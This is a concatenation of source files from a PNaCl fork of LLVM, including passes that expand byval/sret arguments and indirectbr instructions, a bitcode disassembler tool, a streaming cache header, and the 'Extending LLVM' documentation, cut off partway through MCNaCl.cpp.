// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass expands out by-value passing of structs as arguments and
// return values. In LLVM IR terms, it expands out the "byval" and
// "sret" function argument attributes.
//
// The semantics of the "byval" attribute are that the callee function
// gets a private copy of the pointed-to argument that it is allowed
// to modify. In implementing this, we have a choice between making
// the caller responsible for making the copy or making the callee
// responsible for making the copy. We choose the former, because
// this matches how the normal native calling conventions work, and
// because it often allows the caller to write struct contents
// directly into the stack slot that it passes the callee, without an
// additional copy.
//
// Note that this pass does not attempt to modify functions that pass
// structs by value without using "byval" or "sret", such as:
//
// define %struct.X @func() ; struct return
// define void @func(%struct.X %arg) ; struct arg
//
// The pass only handles functions such as:
//
// define void @func(%struct.X* sret %result_buffer) ; struct return
// define void @func(%struct.X* byval %ptr_to_arg) ; struct arg
//
// This is because PNaCl Clang generates the latter and not the former.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/Attributes.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
// This is a ModulePass so that it can strip attributes from
// declared functions as well as defined functions.
class ExpandByVal : public ModulePass {
public:
static char ID; // Pass identification, replacement for typeid
ExpandByVal() : ModulePass(ID) {
initializeExpandByValPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
}
char ExpandByVal::ID = 0;
INITIALIZE_PASS(ExpandByVal, "expand-byval",
"Expand out by-value passing of structs",
false, false)
// removeAttribute() currently does not work on Attribute::Alignment
// (it fails with an assertion error), so we have to take a more
// convoluted route to removing this attribute by recreating the
// AttributeSet.
AttributeSet RemoveAttrs(LLVMContext &Context, AttributeSet Attrs) {
SmallVector<AttributeSet, 8> AttrList;
for (unsigned Slot = 0; Slot < Attrs.getNumSlots(); ++Slot) {
unsigned Index = Attrs.getSlotIndex(Slot);
AttrBuilder AB;
for (AttributeSet::iterator Attr = Attrs.begin(Slot), E = Attrs.end(Slot);
Attr != E; ++Attr) {
if (Attr->isEnumAttribute() &&
Attr->getKindAsEnum() != Attribute::ByVal &&
Attr->getKindAsEnum() != Attribute::StructRet) {
AB.addAttribute(*Attr);
}
// IR semantics require that ByVal implies NoAlias. However, IR
// semantics do not require StructRet to imply NoAlias. For
// example, a global variable address can be passed as a
// StructRet argument, although Clang does not do so and Clang
// explicitly adds NoAlias to StructRet arguments.
if (Attr->isEnumAttribute() &&
Attr->getKindAsEnum() == Attribute::ByVal) {
AB.addAttribute(Attribute::get(Context, Attribute::NoAlias));
}
}
AttrList.push_back(AttributeSet::get(Context, Index, AB));
}
return AttributeSet::get(Context, AttrList);
}
// ExpandCall() can take a CallInst or an InvokeInst. It returns
// whether the instruction was modified.
template <class InstType>
static bool ExpandCall(DataLayout *DL, InstType *Call) {
bool Modify = false;
AttributeSet Attrs = Call->getAttributes();
for (unsigned ArgIdx = 0; ArgIdx < Call->getNumArgOperands(); ++ArgIdx) {
unsigned AttrIdx = ArgIdx + 1;
if (Attrs.hasAttribute(AttrIdx, Attribute::StructRet))
Modify = true;
if (Attrs.hasAttribute(AttrIdx, Attribute::ByVal)) {
Modify = true;
Value *ArgPtr = Call->getArgOperand(ArgIdx);
Type *ArgType = ArgPtr->getType()->getPointerElementType();
ConstantInt *ArgSize = ConstantInt::get(
Call->getContext(), APInt(64, DL->getTypeStoreSize(ArgType)));
// In principle, using the alignment from the argument attribute
// should be enough. However, Clang is not emitting this
// attribute for PNaCl. LLVM alloca instructions do not use the
// ABI alignment of the type, so this must be specified
// explicitly.
// See https://code.google.com/p/nativeclient/issues/detail?id=3403
//
// Note that the parameter may have no alignment, but we have
// more useful information from the type which we can use here
// -- 0 in the parameter means no alignment is specified there,
// so it has default alignment, but in memcpy 0 means
// pessimistic alignment, the same as 1.
unsigned Alignment =
std::max(Attrs.getParamAlignment(AttrIdx),
DL->getABITypeAlignment(ArgType));
// Make a copy of the byval argument.
Instruction *CopyBuf = new AllocaInst(ArgType, 0, Alignment,
ArgPtr->getName() + ".byval_copy");
Function *Func = Call->getParent()->getParent();
Func->getEntryBlock().getInstList().push_front(CopyBuf);
IRBuilder<> Builder(Call);
Builder.CreateLifetimeStart(CopyBuf, ArgSize);
// Using the argument's alignment attribute for the memcpy
// should be OK because the LLVM Language Reference says that
// the alignment attribute specifies "the alignment of the stack
// slot to form and the known alignment of the pointer specified
// to the call site".
Instruction *MemCpy = Builder.CreateMemCpy(CopyBuf, ArgPtr, ArgSize,
Alignment);
MemCpy->setDebugLoc(Call->getDebugLoc());
Call->setArgOperand(ArgIdx, CopyBuf);
// Mark the argument copy as unused using llvm.lifetime.end.
if (isa<CallInst>(Call)) {
BasicBlock::iterator It = BasicBlock::iterator(Call);
Builder.SetInsertPoint(++It);
Builder.CreateLifetimeEnd(CopyBuf, ArgSize);
} else if (InvokeInst *Invoke = dyn_cast<InvokeInst>(Call)) {
Builder.SetInsertPoint(Invoke->getNormalDest()->getFirstInsertionPt());
Builder.CreateLifetimeEnd(CopyBuf, ArgSize);
Builder.SetInsertPoint(Invoke->getUnwindDest()->getFirstInsertionPt());
Builder.CreateLifetimeEnd(CopyBuf, ArgSize);
}
}
}
if (Modify) {
Call->setAttributes(RemoveAttrs(Call->getContext(), Attrs));
if (CallInst *CI = dyn_cast<CallInst>(Call)) {
// This is no longer a tail call because the callee references
// memory alloca'd by the caller.
CI->setTailCall(false);
}
}
return Modify;
}
bool ExpandByVal::runOnModule(Module &M) {
bool Modified = false;
DataLayout DL(&M);
for (Module::iterator Func = M.begin(), E = M.end(); Func != E; ++Func) {
AttributeSet NewAttrs = RemoveAttrs(Func->getContext(),
Func->getAttributes());
Modified |= (NewAttrs != Func->getAttributes());
Func->setAttributes(NewAttrs);
for (Function::iterator BB = Func->begin(), E = Func->end();
BB != E; ++BB) {
for (BasicBlock::iterator Inst = BB->begin(), E = BB->end();
Inst != E; ++Inst) {
if (CallInst *Call = dyn_cast<CallInst>(Inst)) {
Modified |= ExpandCall(&DL, Call);
} else if (InvokeInst *Call = dyn_cast<InvokeInst>(Inst)) {
Modified |= ExpandCall(&DL, Call);
}
}
}
}
return Modified;
}
ModulePass *llvm::createExpandByValPass() {
return new ExpandByVal();
}
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClBitcodeAbbrevDist.cpp
//===-- NaClBitcodeAbbrevDist.cpp -------------------------------------------===//
// Implements distribution maps for abbreviations associated with
// bitcode records.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClBitcodeAbbrevDist.h"
using namespace llvm;
NaClBitcodeAbbrevDistElement::~NaClBitcodeAbbrevDistElement() {}
NaClBitcodeDistElement *NaClBitcodeAbbrevDistElement::CreateElement(
NaClBitcodeDistValue Value) const {
return new NaClBitcodeAbbrevDistElement();
}
void NaClBitcodeAbbrevDistElement::
GetValueList(const NaClBitcodeRecord &Record,
ValueListType &ValueList) const {
ValueList.push_back(Record.GetAbbreviationIndex());
}
void NaClBitcodeAbbrevDistElement::AddRecord(const NaClBitcodeRecord &Record) {
NaClBitcodeDistElement::AddRecord(Record);
CodeDist.AddRecord(Record);
}
const char *NaClBitcodeAbbrevDistElement::GetTitle() const {
return "Abbreviation Indices";
}
const char *NaClBitcodeAbbrevDistElement::GetValueHeader() const {
return " Index";
}
void NaClBitcodeAbbrevDistElement::
PrintRowValue(raw_ostream &Stream,
NaClBitcodeDistValue Value,
const NaClBitcodeDist *Distribution) const {
Stream << format("%7u", Value);
}
const SmallVectorImpl<NaClBitcodeDist*> *NaClBitcodeAbbrevDistElement::
GetNestedDistributions() const {
return &NestedDists;
}
NaClBitcodeAbbrevDistElement NaClBitcodeAbbrevDistElement::Sentinel;
NaClBitcodeAbbrevDist::~NaClBitcodeAbbrevDist() {}
NaClBitcodeDistElement* NaClBitcodeAbbrevDist::
CreateElement(NaClBitcodeDistValue Value) const {
return new NaClBitcodeAbbrevDistElement(BlockID);
}
<file_sep>/docs/ExtendingLLVM.rst
============================================================
Extending LLVM: Adding instructions, intrinsics, types, etc.
============================================================
Introduction and Warning
========================
During the course of using LLVM, you may wish to customize it for your research
project or for experimentation. At this point, you may realize that you need to
add something to LLVM, whether it be a new fundamental type, a new intrinsic
function, or a whole new instruction.
When you come to this realization, stop and think. Do you really need to extend
LLVM? Is it a new fundamental capability that LLVM does not support at its
current incarnation or can it be synthesized from already pre-existing LLVM
elements? If you are not sure, ask on the `LLVM-dev
<http://mail.cs.uiuc.edu/mailman/listinfo/llvmdev>`_ list. The reason is that
extending LLVM will get involved as you need to update all the different passes
that you intend to use with your extension, and there are ``many`` LLVM analyses
and transformations, so it may be quite a bit of work.
Adding an `intrinsic function`_ is far easier than adding an
instruction, and is transparent to optimization passes. If your added
functionality can be expressed as a function call, an intrinsic function is the
method of choice for LLVM extension.
Before you invest a significant amount of effort into a non-trivial extension,
**ask on the list** if what you are looking to do can be done with
already-existing infrastructure, or if maybe someone else is already working on
it. You will save yourself a lot of time and effort by doing so.
.. _intrinsic function:
Adding a new intrinsic function
===============================
Adding a new intrinsic function to LLVM is much easier than adding a new
instruction. Almost all extensions to LLVM should start as an intrinsic
function and then be turned into an instruction if warranted.
#. ``llvm/docs/LangRef.html``:
Document the intrinsic. Decide whether it is code generator specific and
what the restrictions are. Talk to other people about it so that you are
sure it's a good idea.
#. ``llvm/include/llvm/IR/Intrinsics*.td``:
Add an entry for your intrinsic. Describe its memory access characteristics
for optimization (this controls whether it will be DCE'd, CSE'd, etc). Note
that any intrinsic using the ``llvm_int_ty`` type for an argument will
be deemed by ``tblgen`` as overloaded and the corresponding suffix will
be required on the intrinsic's name.
#. ``llvm/lib/Analysis/ConstantFolding.cpp``:
If it is possible to constant fold your intrinsic, add support to it in the
``canConstantFoldCallTo`` and ``ConstantFoldCall`` functions.
#. ``llvm/test/*``:
Add test cases for your test cases to the test suite
Once the intrinsic has been added to the system, you must add code generator
support for it. Generally you must do the following steps:
Add support to the .td file for the target(s) of your choice in
``lib/Target/*/*.td``.
This is usually a matter of adding a pattern to the .td file that matches the
intrinsic, though it may obviously require adding the instructions you want to
generate as well. There are lots of examples in the PowerPC and X86 backend
to follow.
Adding a new SelectionDAG node
==============================
As with intrinsics, adding a new SelectionDAG node to LLVM is much easier than
adding a new instruction. New nodes are often added to help represent
instructions common to many targets. These nodes often map to an LLVM
instruction (add, sub) or intrinsic (byteswap, population count). In other
cases, new nodes have been added to allow many targets to perform a common task
(converting between floating point and integer representation) or capture more
complicated behavior in a single node (rotate).
#. ``include/llvm/CodeGen/ISDOpcodes.h``:
Add an enum value for the new SelectionDAG node.
#. ``lib/CodeGen/SelectionDAG/SelectionDAG.cpp``:
Add code to print the node to ``getOperationName``. If your new node can be
evaluated at compile time when given constant arguments (such as an add of a
constant with another constant), find the ``getNode`` method that takes the
appropriate number of arguments, and add a case for your node to the switch
statement that performs constant folding for nodes that take the same number
of arguments as your new node.
#. ``lib/CodeGen/SelectionDAG/LegalizeDAG.cpp``:
Add code to `legalize, promote, and expand
<CodeGenerator.html#selectiondag_legalize>`_ the node as necessary. At a
minimum, you will need to add a case statement for your node in
``LegalizeOp`` which calls LegalizeOp on the node's operands, and returns a
new node if any of the operands changed as a result of being legalized. It
is likely that not all targets supported by the SelectionDAG framework will
natively support the new node. In this case, you must also add code in your
node's case statement in ``LegalizeOp`` to Expand your node into simpler,
legal operations. The case for ``ISD::UREM`` for expanding a remainder into
a divide, multiply, and a subtract is a good example.
#. ``lib/CodeGen/SelectionDAG/LegalizeDAG.cpp``:
If targets may support the new node being added only at certain sizes, you
will also need to add code to your node's case statement in ``LegalizeOp``
to Promote your node's operands to a larger size, and perform the correct
operation. You will also need to add code to ``PromoteOp`` to do this as
well. For a good example, see ``ISD::BSWAP``, which promotes its operand to
a wider size, performs the byteswap, and then shifts the correct bytes right
to emulate the narrower byteswap in the wider type.
#. ``lib/CodeGen/SelectionDAG/LegalizeDAG.cpp``:
Add a case for your node in ``ExpandOp`` to teach the legalizer how to
perform the action represented by the new node on a value that has been split
into high and low halves. This case will be used to support your node with a
64 bit operand on a 32 bit target.
#. ``lib/CodeGen/SelectionDAG/DAGCombiner.cpp``:
If your node can be combined with itself, or other existing nodes in a
peephole-like fashion, add a visit function for it, and call that function
from. There are several good examples for simple combines you can do;
``visitFABS`` and ``visitSRL`` are good starting places.
#. ``lib/Target/PowerPC/PPCISelLowering.cpp``:
Each target has an implementation of the ``TargetLowering`` class, usually in
its own file (although some targets include it in the same file as the
DAGToDAGISel). The default behavior for a target is to assume that your new
node is legal for all types that are legal for that target. If this target
does not natively support your node, then tell the target to either Promote
it (if it is supported at a larger type) or Expand it. This will cause the
code you wrote in ``LegalizeOp`` above to decompose your new node into other
legal nodes for this target.
#. ``lib/Target/TargetSelectionDAG.td``:
Most current targets supported by LLVM generate code using the DAGToDAG
method, where SelectionDAG nodes are pattern matched to target-specific
nodes, which represent individual instructions. In order for the targets to
match an instruction to your new node, you must add a def for that node to
the list in this file, with the appropriate type constraints. Look at
``add``, ``bswap``, and ``fadd`` for examples.
#. ``lib/Target/PowerPC/PPCInstrInfo.td``:
Each target has a tablegen file that describes the target's instruction set.
For targets that use the DAGToDAG instruction selection framework, add a
pattern for your new node that uses one or more target nodes. Documentation
for this is a bit sparse right now, but there are several decent examples.
See the patterns for ``rotl`` in ``PPCInstrInfo.td``.
#. TODO: document complex patterns.
#. ``llvm/test/CodeGen/*``:
Add test cases for your new node to the test suite.
``llvm/test/CodeGen/X86/bswap.ll`` is a good example.
Adding a new instruction
========================
.. warning::
Adding instructions changes the bitcode format, and it will take some effort
to maintain compatibility with the previous version. Only add an instruction
if it is absolutely necessary.
#. ``llvm/include/llvm/IR/Instruction.def``:
add a number for your instruction and an enum name
#. ``llvm/include/llvm/IR/Instructions.h``:
add a definition for the class that will represent your instruction
#. ``llvm/include/llvm/IR/InstVisitor.h``:
add a prototype for a visitor to your new instruction type
#. ``llvm/lib/AsmParser/LLLexer.cpp``:
add a new token to parse your instruction from assembly text file
#. ``llvm/lib/AsmParser/LLParser.cpp``:
add the grammar on how your instruction can be read and what it will
construct as a result
#. ``llvm/lib/Bitcode/Reader/BitcodeReader.cpp``:
add a case for your instruction and how it will be parsed from bitcode
#. ``llvm/lib/Bitcode/Writer/BitcodeWriter.cpp``:
add a case for your instruction and how it will be parsed from bitcode
#. ``llvm/lib/IR/Instruction.cpp``:
add a case for how your instruction will be printed out to assembly
#. ``llvm/lib/IR/Instructions.cpp``:
implement the class you defined in ``llvm/include/llvm/Instructions.h``
#. Test your instruction
#. ``llvm/lib/Target/*``:
add support for your instruction to code generators, or add a lowering pass.
#. ``llvm/test/*``:
add your test cases to the test suite.
Also, you need to implement (or modify) any analyses or passes that you want to
understand this new instruction.
Adding a new type
=================
.. warning::
Adding new types changes the bitcode format, and will break compatibility with
currently-existing LLVM installations. Only add new types if it is absolutely
necessary.
Adding a fundamental type
-------------------------
#. ``llvm/include/llvm/IR/Type.h``:
add enum for the new type; add static ``Type*`` for this type
#. ``llvm/lib/IR/Type.cpp`` and ``llvm/lib/IR/ValueTypes.cpp``:
add mapping from ``TypeID`` => ``Type*``; initialize the static ``Type*``
#. ``llvm/llvm/llvm-c/Core.cpp``:
add enum ``LLVMTypeKind`` and modify
``LLVMTypeKind LLVMGetTypeKind(LLVMTypeRef Ty)`` for the new type
#. ``llvm/include/llvm/IR/TypeBuilder.h``:
add new class to represent new type in the hierarchy
#. ``llvm/lib/AsmParser/LLLexer.cpp``:
add ability to parse in the type from text assembly
#. ``llvm/lib/AsmParser/LLParser.cpp``:
add a token for that type
#. ``llvm/lib/Bitcode/Writer/BitcodeWriter.cpp``:
modify ``static void WriteTypeTable(const ValueEnumerator &VE,
BitstreamWriter &Stream)`` to serialize your type
#. ``llvm/lib/Bitcode/Reader/BitcodeReader.cpp``:
modify ``bool BitcodeReader::ParseTypeType()`` to read your data type
#. ``include/llvm/Bitcode/LLVMBitCodes.h``:
add enum ``TypeCodes`` for the new type
Adding a derived type
---------------------
#. ``llvm/include/llvm/IR/Type.h``:
add enum for the new type; add a forward declaration of the type also
#. ``llvm/include/llvm/IR/DerivedTypes.h``:
add new class to represent new class in the hierarchy; add forward
declaration to the TypeMap value type
#. ``llvm/lib/IR/Type.cpp`` and ``llvm/lib/IR/ValueTypes.cpp``:
add support for derived type, notably `enum TypeID` and `is`, `get` methods.
#. ``llvm/llvm/llvm-c/Core.cpp``:
add enum ``LLVMTypeKind`` and modify
`LLVMTypeKind LLVMGetTypeKind(LLVMTypeRef Ty)` for the new type
#. ``llvm/include/llvm/IR/TypeBuilder.h``:
add new class to represent new class in the hierarchy
#. ``llvm/lib/AsmParser/LLLexer.cpp``:
modify ``lltok::Kind LLLexer::LexIdentifier()`` to add ability to
parse in the type from text assembly
#. ``llvm/lib/Bitcode/Writer/BitcodeWriter.cpp``:
modify ``static void WriteTypeTable(const ValueEnumerator &VE,
BitstreamWriter &Stream)`` to serialize your type
#. ``llvm/lib/Bitcode/Reader/BitcodeReader.cpp``:
modify ``bool BitcodeReader::ParseTypeType()`` to read your data type
#. ``include/llvm/Bitcode/LLVMBitCodes.h``:
add enum ``TypeCodes`` for the new type
#. ``llvm/lib/IR/AsmWriter.cpp``:
modify ``void TypePrinting::print(Type *Ty, raw_ostream &OS)``
to output the new derived type
<file_sep>/tools/pnacl-hack-memset/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
BitReader
Core
NaClBitWriter
NaClBitReader
Support)
add_llvm_tool(pnacl-hack-memset
pnacl-hack-memset.cpp
)
<file_sep>/lib/Transforms/NaCl/ExpandIndirectBr.cpp
//===- ExpandIndirectBr.cpp - Expand out indirectbr and blockaddress-------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass expands out indirectbr instructions and blockaddress
// ConstantExprs, which are not currently supported in PNaCl's stable
// ABI. indirectbr is used to implement computed gotos (a GNU
// extension to C). This pass replaces indirectbr instructions with
// switch instructions.
//
// The resulting use of switches might not be as fast as the original
// indirectbrs. If you are compiling a program that has a
// compile-time option for using computed gotos, it's possible that
// the program will run faster with the option turned off than with
// using computed gotos + ExpandIndirectBr (for example, if the
// program does extra work to take advantage of computed gotos).
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/DenseMap.h"
#include "llvm/ADT/DenseSet.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
// This is a ModulePass so that it can expand out blockaddress
// ConstantExprs inside global variable initializers.
class ExpandIndirectBr : public ModulePass {
public:
static char ID; // Pass identification, replacement for typeid
ExpandIndirectBr() : ModulePass(ID) {
initializeExpandIndirectBrPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
}
char ExpandIndirectBr::ID = 0;
INITIALIZE_PASS(ExpandIndirectBr, "expand-indirectbr",
"Expand out indirectbr and blockaddress (computed gotos)",
false, false)
static bool convertFunction(Function *Func) {
bool Changed = false;
IntegerType *I32 = Type::getInt32Ty(Func->getContext());
// Skip zero in case programs treat a null pointer as special.
uint32_t NextNum = 1;
DenseMap<BasicBlock *, ConstantInt *> LabelNums;
BasicBlock *DefaultBB = NULL;
// Replace each indirectbr with a switch.
//
// If there are multiple indirectbr instructions in the function,
// this could be expensive. While an indirectbr is usually
// converted to O(1) machine instructions, the switch we generate
// here will be O(n) in the number of target labels.
//
// However, Clang usually generates just a single indirectbr per
// function anyway when compiling C computed gotos.
//
// We could try to generate one switch to handle all the indirectbr
// instructions in the function, but that would be complicated to
// implement given that variables that are live at one indirectbr
// might not be live at others.
for (llvm::Function::iterator BB = Func->begin(), E = Func->end();
BB != E; ++BB) {
if (IndirectBrInst *Br = dyn_cast<IndirectBrInst>(BB->getTerminator())) {
Changed = true;
if (!DefaultBB) {
DefaultBB = BasicBlock::Create(Func->getContext(),
"indirectbr_default", Func);
new UnreachableInst(Func->getContext(), DefaultBB);
}
// An indirectbr can list the same target block multiple times.
// Keep track of the basic blocks we've handled to avoid adding
// the same case multiple times.
DenseSet<BasicBlock *> BlocksSeen;
Value *Cast = new PtrToIntInst(Br->getAddress(), I32,
"indirectbr_cast", Br);
unsigned Count = Br->getNumSuccessors();
SwitchInst *Switch = SwitchInst::Create(Cast, DefaultBB, Count, Br);
for (unsigned I = 0; I < Count; ++I) {
BasicBlock *Dest = Br->getSuccessor(I);
if (!BlocksSeen.insert(Dest).second) {
// Remove duplicated entries from phi nodes.
for (BasicBlock::iterator Inst = Dest->begin(); ; ++Inst) {
PHINode *Phi = dyn_cast<PHINode>(Inst);
if (!Phi)
break;
Phi->removeIncomingValue(Br->getParent());
}
continue;
}
ConstantInt *Val;
if (LabelNums.count(Dest) == 0) {
Val = ConstantInt::get(I32, NextNum++);
LabelNums[Dest] = Val;
BlockAddress *BA = BlockAddress::get(Func, Dest);
Value *ValAsPtr = ConstantExpr::getIntToPtr(Val, BA->getType());
BA->replaceAllUsesWith(ValAsPtr);
BA->destroyConstant();
} else {
Val = LabelNums[Dest];
}
Switch->addCase(Val, Br->getSuccessor(I));
}
Br->eraseFromParent();
}
}
// If there are any blockaddresses that are never used by an
// indirectbr, replace them with dummy values.
SmallVector<Value *, 20> Users(Func->user_begin(), Func->user_end());
for (auto U : Users) {
if (BlockAddress *BA = dyn_cast<BlockAddress>(U)) {
Changed = true;
Value *DummyVal = ConstantExpr::getIntToPtr(ConstantInt::get(I32, ~0L),
BA->getType());
BA->replaceAllUsesWith(DummyVal);
BA->destroyConstant();
}
}
return Changed;
}
bool ExpandIndirectBr::runOnModule(Module &M) {
bool Changed = false;
for (Module::iterator Func = M.begin(), E = M.end(); Func != E; ++Func) {
Changed |= convertFunction(Func);
}
return Changed;
}
ModulePass *llvm::createExpandIndirectBrPass() {
return new ExpandIndirectBr();
}
<file_sep>/unittests/ExecutionEngine/Orc/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
Core
Support
)
add_llvm_unittest(OrcJITTests
LazyEmittingLayerTest.cpp
)
<file_sep>/tools/pnacl-bcdis/pnacl-bcdis.cpp
//===-- pnacl-bcdis.cpp - Disassemble pnacl bitcode -----------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
/// TODO(kschimpf): Add disassembling abbreviations.
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/FileSystem.h"
#include "llvm/Support/ManagedStatic.h"
#include "llvm/Support/MemoryBuffer.h"
#include "llvm/Support/PrettyStackTrace.h"
#include "llvm/Support/Signals.h"
#include "llvm/Support/ToolOutputFile.h"
#include "llvm/Support/raw_ostream.h"
#include <system_error>
namespace {
using namespace llvm;
// The input file to read.
static cl::opt<std::string>
InputFilename(cl::Positional, cl::desc("<input bitcode>"), cl::init("-"));
// The output file to generate.
static cl::opt<std::string>
OutputFilename("o", cl::desc("Specify output filename"),
cl::value_desc("filename"), cl::init("-"));
static cl::opt<bool>
NoRecords("no-records",
cl::desc("Don't include records"),
cl::init(false));
static cl::opt<bool>
NoAssembly("no-assembly",
cl::desc("Don't include assembly"),
cl::init(false));
// Reads and disassembles the bitcode file. Returns false
// if successful, true otherwise.
static bool DisassembleBitcode() {
// Open the bitcode file and put into a buffer.
ErrorOr<std::unique_ptr<MemoryBuffer>> ErrOrFile =
MemoryBuffer::getFileOrSTDIN(InputFilename);
if (std::error_code EC = ErrOrFile.getError()) {
errs() << "Error reading '" << InputFilename << "': " << EC.message()
<< "\n";
return true;
}
// Create a stream to output the bitcode text to.
std::error_code EC;
raw_fd_ostream Output(OutputFilename, EC, sys::fs::F_None);
if (EC) {
errs() << EC.message() << '\n';
return true;
}
// Parse the the bitcode file.
return NaClObjDump(ErrOrFile.get()->getMemBufferRef(), Output, NoRecords,
NoAssembly);
}
}
int main(int argc, char **argv) {
// Print a stack trace if we signal out.
sys::PrintStackTraceOnErrorSignal();
PrettyStackTraceProgram X(argc, argv);
llvm_shutdown_obj Y; // Call llvm_shutdown() on exit.
cl::ParseCommandLineOptions(argc, argv, "pnacl-bccompress file analyzer\n");
if (DisassembleBitcode()) return 1;
return 0;
}
<file_sep>/tools/pnacl-llc/ThreadedStreamingCache.h
//==- ThreadedStreamingCache.h - Cache for StreamingMemoryObject -*- C++ -*-==//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef THREADEDSTREAMINGCACHE_H
#define THREADEDSTREAMINGCACHE_H
#include "llvm/Support/ErrorHandling.h"
#include "llvm/Support/Mutex.h"
#include "llvm/Support/StreamingMemoryObject.h"
namespace llvm {
// An implementation of StreamingMemoryObject for use in multithreaded
// translation. Each thread has one of these objects, each of which has a
// pointer to a shared StreamingMemoryObject. This object is effectively
// a thread-local cache for the bitcode streamer to avoid contention, since
// bits are only read from the bitcode stream one word at a time.
class ThreadedStreamingCache : public llvm::StreamingMemoryObject {
public:
explicit ThreadedStreamingCache(llvm::StreamingMemoryObject *S);
uint64_t getExtent() const override;
uint64_t readBytes(uint8_t *Buf, uint64_t Size,
uint64_t Address) const override;
const uint8_t *getPointer(uint64_t Address,
uint64_t Size) const override {
// This could be fixed by ensuring the bytes are fetched and making a copy,
// requiring that the bitcode size be known, or otherwise ensuring that
// the memory doesn't go away/get reallocated, but it's
// not currently necessary. Users that need the pointer don't stream.
llvm_unreachable("getPointer in streaming memory objects not allowed");
return NULL;
}
bool isValidAddress(uint64_t Address) const override;
/// Drop s bytes from the front of the stream, pushing the positions of the
/// remaining bytes down by s. This is used to skip past the bitcode header,
/// since we don't know a priori if it's present, and we can't put bytes
/// back into the stream once we've read them.
bool dropLeadingBytes(size_t S) override;
/// If the data object size is known in advance, many of the operations can
/// be made more efficient, so this method should be called before reading
/// starts (although it can be called anytime).
void setKnownObjectSize(size_t Size) override;
private:
const static uint64_t kCacheSize = 4 * 4096;
const static uint64_t kCacheSizeMask = ~(kCacheSize - 1);
static llvm::sys::SmartMutex<false> StreamerLock;
// Fetch up to kCacheSize worth of data starting from Address, into the
// CacheBase, and set MinObjectSize to the new known edge.
// If at EOF, MinObjectSize reflects the final size.
void fetchCacheLine(uint64_t Address) const;
llvm::StreamingMemoryObject *Streamer;
// Cached data for addresses [CacheBase, CacheBase + kCacheSize)
mutable std::vector<unsigned char> Cache;
// The MemoryObject is at least this size. Used as a cache for isValidAddress.
mutable uint64_t MinObjectSize;
// Current base address for the cache.
mutable uint64_t CacheBase;
ThreadedStreamingCache(
const ThreadedStreamingCache&) = delete;
void operator=(const ThreadedStreamingCache&) = delete;
};
} // namespace llvm
#endif // THREADEDSTREAMINGCACHE_H
<file_sep>/lib/MC/MCNaCl.cpp
//===- lib/MC/MCNaCl.cpp - NaCl-specific MC implementation ----------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/MC/MCNaCl.h"
#include "llvm/ADT/Triple.h"
#include "llvm/MC/MCContext.h"
#include "llvm/MC/MCNaClExpander.h"
#include "llvm/MC/MCSectionELF.h"
#include "llvm/MC/MCStreamer.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/TargetRegistry.h"
#include "llvm/Support/ELF.h"
static const char NoteNamespace[] = "NaCl";
namespace llvm {
cl::opt<bool> FlagAutoSandboxing("nacl-enable-auto-sandboxing",
cl::desc("Use auto-sandboxing assembler"
" for the NaCl SFI."),
cl::init(false));
void initializeNaClMCStreamer(MCStreamer &Streamer, MCContext &Ctx,
const Triple &TheTriple) {
assert(TheTriple.isOSNaCl());
const char *NoteName;
const char *NoteArch;
unsigned BundleAlign;
switch (TheTriple.getArch()) {
case Triple::arm:
NoteName = ".note.NaCl.ABI.arm";
NoteArch = "arm";
BundleAlign = 4;
break;
case Triple::mipsel:
NoteName = ".note.NaCl.ABI.mipsel";
NoteArch = "mipsel";
BundleAlign = 4;
break;
case Triple::x86:
NoteName = ".note.NaCl.ABI.x86-32";
NoteArch = "x86-32";
BundleAlign = 5;
break;
case Triple::x86_64:
NoteName = ".note.NaCl.ABI.x86-64";
NoteArch = "x86-64";
BundleAlign = 5;
break;
default:
report_fatal_error("Unsupported architecture for NaCl");
}
std::string Error; //empty
const Target *TheTarget =
TargetRegistry::lookupTarget(TheTriple.getTriple(), Error);
// Create the Target specific MCNaClExpander
assert(TheTarget != nullptr);
if (FlagAutoSandboxing) {
TheTarget->createMCNaClExpander(
Streamer, std::unique_ptr<MCRegisterInfo>(
TheTarget->createMCRegInfo(TheTriple.getTriple())),
std::unique_ptr<MCInstrInfo>(TheTarget->createMCInstrInfo()));
}
// Set bundle-alignment as required by the NaCl ABI for the target.
Streamer.EmitBundleAlignMode(BundleAlign);
// For gas, override the size of DWARF address values generated by .loc
// directives.
if (TheTriple.getArch() == Triple::x86_64 &&
Streamer.hasRawTextSupport()) {
Streamer.EmitRawText("\t.dwarf_addr_size 4\n");
}
// Emit an ELF Note section in its own COMDAT group which identifies NaCl
// object files to the gold linker, so it can use the NaCl layout.
const MCSection *Note = Ctx.getELFSection(
